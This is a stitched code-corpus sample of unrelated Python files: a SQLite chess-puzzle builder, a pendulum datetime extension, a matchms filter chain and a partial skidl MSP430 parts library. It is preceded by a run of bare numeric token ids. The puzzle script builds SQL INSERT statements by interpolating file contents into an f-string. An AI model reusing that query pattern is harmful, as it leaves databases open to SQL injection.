1125,
30004,
13,
1678,
903,
9621,
29918,
353,
518,
703,
29890,
1884,
613,
16437,
29990,
511,
30004,
13,
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4852,
13203,
613,
274,
29918,
524,
511,
30004,
13,
18884,
4852,
22795,
613,
349,
6992,
4945,
29898,
29883,
29918,
7411,
8243,
30004,
13,
18884,
4852,
13168,
613,
349,
6992,
4945,
29898,
29883,
29918,
7411,
8243,
30004,
13,
18884,
4852,
3318,
2264,
613,
274,
29918,
7411,
511,
30004,
13,
18884,
4852,
6605,
29918,
1990,
613,
274,
29918,
524,
4638,
30004,
13,
30004,
13,
30004,
13,
1990,
306,
1529,
1692,
29898,
5015,
12425,
1125,
30004,
13,
1678,
903,
9621,
29918,
353,
518,
703,
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274,
29918,
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13,
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613,
274,
29918,
524,
511,
30004,
13,
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4852,
29883,
613,
274,
29918,
524,
511,
30004,
13,
18884,
4852,
1272,
613,
349,
6992,
4945,
29898,
29883,
29918,
7411,
28166,
30004,
13,
30004,
13,
30004,
13,
1990,
341,
2544,
3035,
8254,
29898,
5015,
12425,
1125,
30004,
13,
1678,
903,
9621,
29918,
353,
518,
703,
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613,
274,
29918,
524,
511,
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13,
18884,
4852,
7039,
613,
349,
6992,
4945,
29898,
29883,
29918,
3090,
29918,
29886,
28166,
30004,
13,
30004,
13,
30004,
13,
1982,
29889,
11618,
29918,
2103,
29889,
1191,
8768,
353,
518,
29883,
29918,
5405,
29918,
29886,
29962,
30004,
13,
1982,
29889,
11618,
29918,
2103,
29889,
5060,
668,
353,
274,
29918,
524,
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13,
1982,
29889,
11618,
29918,
3545,
29889,
1191,
8768,
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518,
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13,
1982,
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3545,
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274,
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524,
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13,
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13,
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4945,
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7411,
4638,
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13,
27711,
29889,
5060,
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349,
6992,
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7411,
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13,
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13,
842,
29918,
29887,
3746,
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10141,
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13,
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13,
5675,
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353,
4303,
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13,
5675,
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3027,
29889,
1191,
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518,
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274,
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524,
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274,
29918,
524,
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13,
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3027,
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5060,
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353,
306,
1529,
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13,
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13,
657,
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13,
9021,
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29881,
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353,
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] |
tools/makeDB.py | TheodorRene/DailyPuzzles | 2 | 42611 | <filename>tools/makeDB.py
#!/home/theodorc/dev/Python-3.6.5/python
import sqlite3
from sys import argv
from os import path
# \s*([rnbqkpRNBQKP1-8]+\/){7}([rnbqkpRNBQKP1-8]+)\s[bw-]\s(([a-hkqA-HKQ]{1,4})|(-))\s(([a-h][36])|(-))\s\d+\s\d+\s* possible regex for verifing FEN
config = {
"mod": 5,
"offset": 1,
"db":"mateIn3.db"
}
""" Main function """
def main():
if len(argv) > 1 and argv[1] == "-a":
try:
print("Adding " + argv[2] + " to the puzzle database")
add(argv[2])
print("Database has been updated")
except:
raise Exception("No argument given to add")
elif argv[1] == '-t':
print("testing parsing")
parse_file(argv[2], True)
elif argv[1] == '--help':
print("-a FILE : parse FILE and add to database")
print("-t FILE : parse FILE and show parsing for test purposes")
print("FILE : parse FILE and make database file if it doesnt exist ")
else:
if path.exists(config['db']):
raise Exception('Database file already exists')
print("Making database from argument")
makeList(argv[1])
print("DB file has been made")
def parse_file(file, isTestRun):
""" Parse file as according to config parameters """
f = open(file, 'r')
lines = f.read().splitlines()
parsed_data = []
lines_printed = 0
for i in range(2, len(lines)-1):
if (i-config['offset']) % config['mod'] == 0:
solution = lines[i+1]
fen, color = reFormating(lines[i])
if isTestRun:
if lines_printed < 10: # Allow user to go through the parsed line 10 at a time
print_debug_info(fen, color, solution)
lines_printed += 1
else:
ans = input("Do you want to see 10 more lines?[Y,n]")
if ans in ['n', 'N', 'No']:
print("Finished")
return
print_debug_info(fen, color, solution)
lines_printed = 0
else:
parsed_data.append((fen, color, solution))
f.close()
return parsed_data
def print_debug_info(fen, color, solution):
""" Print debug info """
print("fen", fen)
print("color", color)
print("solution", solution)
def add(file):
""" Add more puzzles to database. Remember formatting from matein4.txt """
conn = sqlite3.connect(config["db"])
c = conn.cursor()
parsed_data = parse_file(file, False)
for data in parsed_data:
fen, color, solution = data
dbReq = f"INSERT INTO puzzle (fen,to_move,solution) VALUES ('{fen}','{color}','{solution}')"
c.execute(dbReq)
conn.commit()
conn.close()
def reFormating(line):
"""" split line for proper parsing """
l = line.split(" ")
return l[0], l[1]
def makeList(file):
"""
Creates puzzle table, adds parsed data from text file to the database, then
creates count table
"""
conn = sqlite3.connect(config["db"])
c = conn.cursor()
#Make table
c.execute("CREATE TABLE puzzle (id INTEGER PRIMARY KEY,fen text, to_move text,solution text)")
conn.commit()
c.close()
add(file)
#Reestablish connection
conn = sqlite3.connect(config["db"])
c = conn.cursor()
# make counting table
c.execute("CREATE TABLE count (id INTEGER PRIMARY KEY, number INTEGER)")
c.execute("INSERT INTO count (number) VALUES (1)")
conn.commit()
conn.close()
main()
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] |
bloop/ext/pendulum.py | monoflo/bloop | 0 | 159760 | import pendulum
from .. import types
# https://github.com/sdispater/pendulum/issues/97
DEFAULT_TIMEZONE = "utc"
class DateTime(types.DateTime):
python_type = pendulum.Pendulum
def __init__(self, timezone=DEFAULT_TIMEZONE):
self.timezone = timezone
super().__init__()
def dynamo_dump(self, value, *, context, **kwargs):
if value is None:
return None
value = value.in_timezone("utc")
return super().dynamo_dump(value, context=context, **kwargs)
def dynamo_load(self, value, *, context, **kwargs):
if value is None:
return None
dt = super().dynamo_load(value, context=context, **kwargs)
return pendulum.instance(dt).in_timezone(self.timezone)
class Timestamp(types.Timestamp):
python_type = pendulum.Pendulum
def __init__(self, timezone=DEFAULT_TIMEZONE):
self.timezone = timezone
super().__init__()
def dynamo_dump(self, value, *, context, **kwargs):
if value is None:
return None
value = value.in_timezone("utc")
return super().dynamo_dump(value, context=context, **kwargs)
def dynamo_load(self, value, *, context, **kwargs):
if value is None:
return None
dt = super().dynamo_load(value, context=context, **kwargs)
return pendulum.instance(dt).in_timezone(self.timezone)
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] |
matchms/filtering/default_filters.py | NLeSC/Spec2Vec | 0 | 1614153 | <reponame>NLeSC/Spec2Vec
from ..typing import SpectrumType
from .add_adduct import add_adduct
from .add_precursor_mz import add_precursor_mz
from .correct_charge import correct_charge
from .derive_ionmode import derive_ionmode
from .make_charge_scalar import make_charge_scalar
from .make_ionmode_lowercase import make_ionmode_lowercase
from .set_ionmode_na_when_missing import set_ionmode_na_when_missing
def default_filters(spectrum: SpectrumType) -> SpectrumType:
"""
Collection of filters that are considered default and that do no require any parameterization.
"""
spectrum = make_charge_scalar(spectrum)
spectrum = make_ionmode_lowercase(spectrum)
spectrum = set_ionmode_na_when_missing(spectrum)
spectrum = add_precursor_mz(spectrum)
spectrum = add_adduct(spectrum)
spectrum = derive_ionmode(spectrum)
spectrum = correct_charge(spectrum)
return spectrum
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] |
skidl/libs/msp430_sklib.py | arjenroodselaar/skidl | 700 | 113780 | <filename>skidl/libs/msp430_sklib.py
from skidl import SKIDL, TEMPLATE, Part, Pin, SchLib
SKIDL_lib_version = '0.0.1'
msp430 = SchLib(tool=SKIDL).add_parts(*[
Part(name='MSP430AFE221IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='24pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430AFE231IPW', 'MSP430AFE251IPW'],pins=[
Pin(num='1',name='A0.0+',func=Pin.PASSIVE,do_erc=True),
Pin(num='2',name='A0.0-',func=Pin.PASSIVE,do_erc=True),
Pin(num='3',name='(AVSS)',func=Pin.PASSIVE,do_erc=True),
Pin(num='4',name='(AVSS)',func=Pin.PASSIVE,do_erc=True),
Pin(num='5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='6',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='7',name='Vref',func=Pin.PASSIVE,do_erc=True),
Pin(num='8',name='(AVSS)',func=Pin.PASSIVE,do_erc=True),
Pin(num='9',name='(AVSS)',func=Pin.PASSIVE,do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='20',name='URXD0/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='21',name='TMS/SVSOUT/SIMO0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='TA2/SMCLK/TACLK/SVSIN/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TCK/TA2/SOMI0/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='23',name='TDI/TDO/TA1/UCLK0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='XT2IN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TCLK/TDI/TA0/STE0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='XT2OUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='17',name='SDCLK/TA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='SD0DO/TA0/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='UTXD0/P1.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430AFE222IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='24pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430AFE232IPW', 'MSP430AFE252IPW'],pins=[
Pin(num='1',name='A0.0+',func=Pin.PASSIVE,do_erc=True),
Pin(num='2',name='A0.0-',func=Pin.PASSIVE,do_erc=True),
Pin(num='3',name='A1.0+',func=Pin.PASSIVE,do_erc=True),
Pin(num='4',name='A1.0-',func=Pin.PASSIVE,do_erc=True),
Pin(num='5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='6',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='7',name='Vref',func=Pin.PASSIVE,do_erc=True),
Pin(num='8',name='(AVSS)',func=Pin.PASSIVE,do_erc=True),
Pin(num='9',name='(AVSS)',func=Pin.PASSIVE,do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='20',name='URXD0/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='21',name='TMS/SVSOUT/SIMO0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='TA2/SMCLK/TACLK/SVSIN/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TCK/TA2/SOMI0/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='23',name='TDI/TDO/TA1/UCLK0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='XT2IN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TCLK/TDI/TA0/STE0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='XT2OUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='17',name='SDCLK/TA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='SD0DO/TA0/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='SD1DO/UTXD0/P1.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430AFE223IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='24pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430AFE233IPW', 'MSP430AFE253IPW'],pins=[
Pin(num='1',name='A0.0+',func=Pin.PASSIVE,do_erc=True),
Pin(num='2',name='A0.0-',func=Pin.PASSIVE,do_erc=True),
Pin(num='3',name='A1.0+',func=Pin.PASSIVE,do_erc=True),
Pin(num='4',name='A1.0-',func=Pin.PASSIVE,do_erc=True),
Pin(num='5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='6',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='7',name='Vref',func=Pin.PASSIVE,do_erc=True),
Pin(num='8',name='A2.0+',func=Pin.PASSIVE,do_erc=True),
Pin(num='9',name='A2.0-',func=Pin.PASSIVE,do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='20',name='SD2DO/URXD0/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='21',name='TMS/SVSOUT/SIMO0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='TA2/SMCLK/TACLK/SVSIN/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TCK/TA2/SOMI0/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='23',name='TDI/TDO/TA1/UCLK0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='XT2IN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TCLK/TDI/TA0/STE0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='XT2OUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='17',name='SDCLK/TA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='SD0DO/TA0/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='SD1DO/UTXD0/P1.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1101AIDGV',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin TVSOP, 4KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1111AIDGV', 'MSP430F1121AIDGV'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/Rosc',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/INCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/CAOUT/TA0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/CA0/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/CA1/TA2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1101AIDW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin SOWB, 4KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1111AIDW', 'MSP430F1121AIDW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/Rosc',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/INCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/CAOUT/TA0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/CA0/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/CA1/TA2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1101AIPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin TSSOP, 4KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1111AIPW', 'MSP430F1121AIPW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/Rosc',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/INCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/CAOUT/TA0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/CA0/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/CA1/TA2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1101AIRGE',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='24pin QFN, 4KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1111AIRGE', 'MSP430F1121AIRGE'],pins=[
Pin(num='2',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='4',name='XIN',do_erc=True),
Pin(num='5',name='~RST~/NMI',do_erc=True),
Pin(num='6',name='P2.0/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P2.1/INCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.2/CAOUT/TA0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.3/CA0/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.4/CA1/TA2',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TEST',do_erc=True),
Pin(num='13',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P2.5/Rosc',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1122IDW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin SOWB, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1132IDW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/Rosc',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/A0/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/A1/INCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/A2/TA0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/A3/VREF-/VeREF-/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/A4/VREF+/VeREF+/TA2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1122IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin TSSOP, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1132IPW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='P2.5/Rosc',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='P2.0/A0/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/A1/INCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/A2/TA0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P2.3/A3/VREF-/VeREF-/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/A4/VREF+/VeREF+/TA2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1122IRHB',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='32pin QFN, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1132IRHB'],pins=[
Pin(num='1',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='3',name='XIN',do_erc=True),
Pin(num='5',name='~RST~/NMI',do_erc=True),
Pin(num='6',name='P2.0/A0/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P2.1/A1/INCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.2/A2/TA0',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='P2.5/Rosc',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P2.3/A3/VREF-/VeREF-/TA1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.4/A4/VREF+/VeREF+/TA2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TEST',do_erc=True)]),
Part(name='MSP430F1222IDW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='28pin SOWB, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1232IDW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='6',name='XIN',do_erc=True),
Pin(num='7',name='~RST~/NMI',do_erc=True),
Pin(num='8',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='INCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA2/VeREF+/VREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/A5/STE0',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/SIMO0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/SOMI0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCLK0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P3.4/UTXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P3.5/URXD0',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1/VeREF-/VREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F1222IPW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='28pin TSSOP, 8KB + 256B Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F1232IPW'],pins=[
Pin(num='1',name='TEST',do_erc=True),
Pin(num='2',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='VSS',func=Pin.PWRIN,do_erc=True),
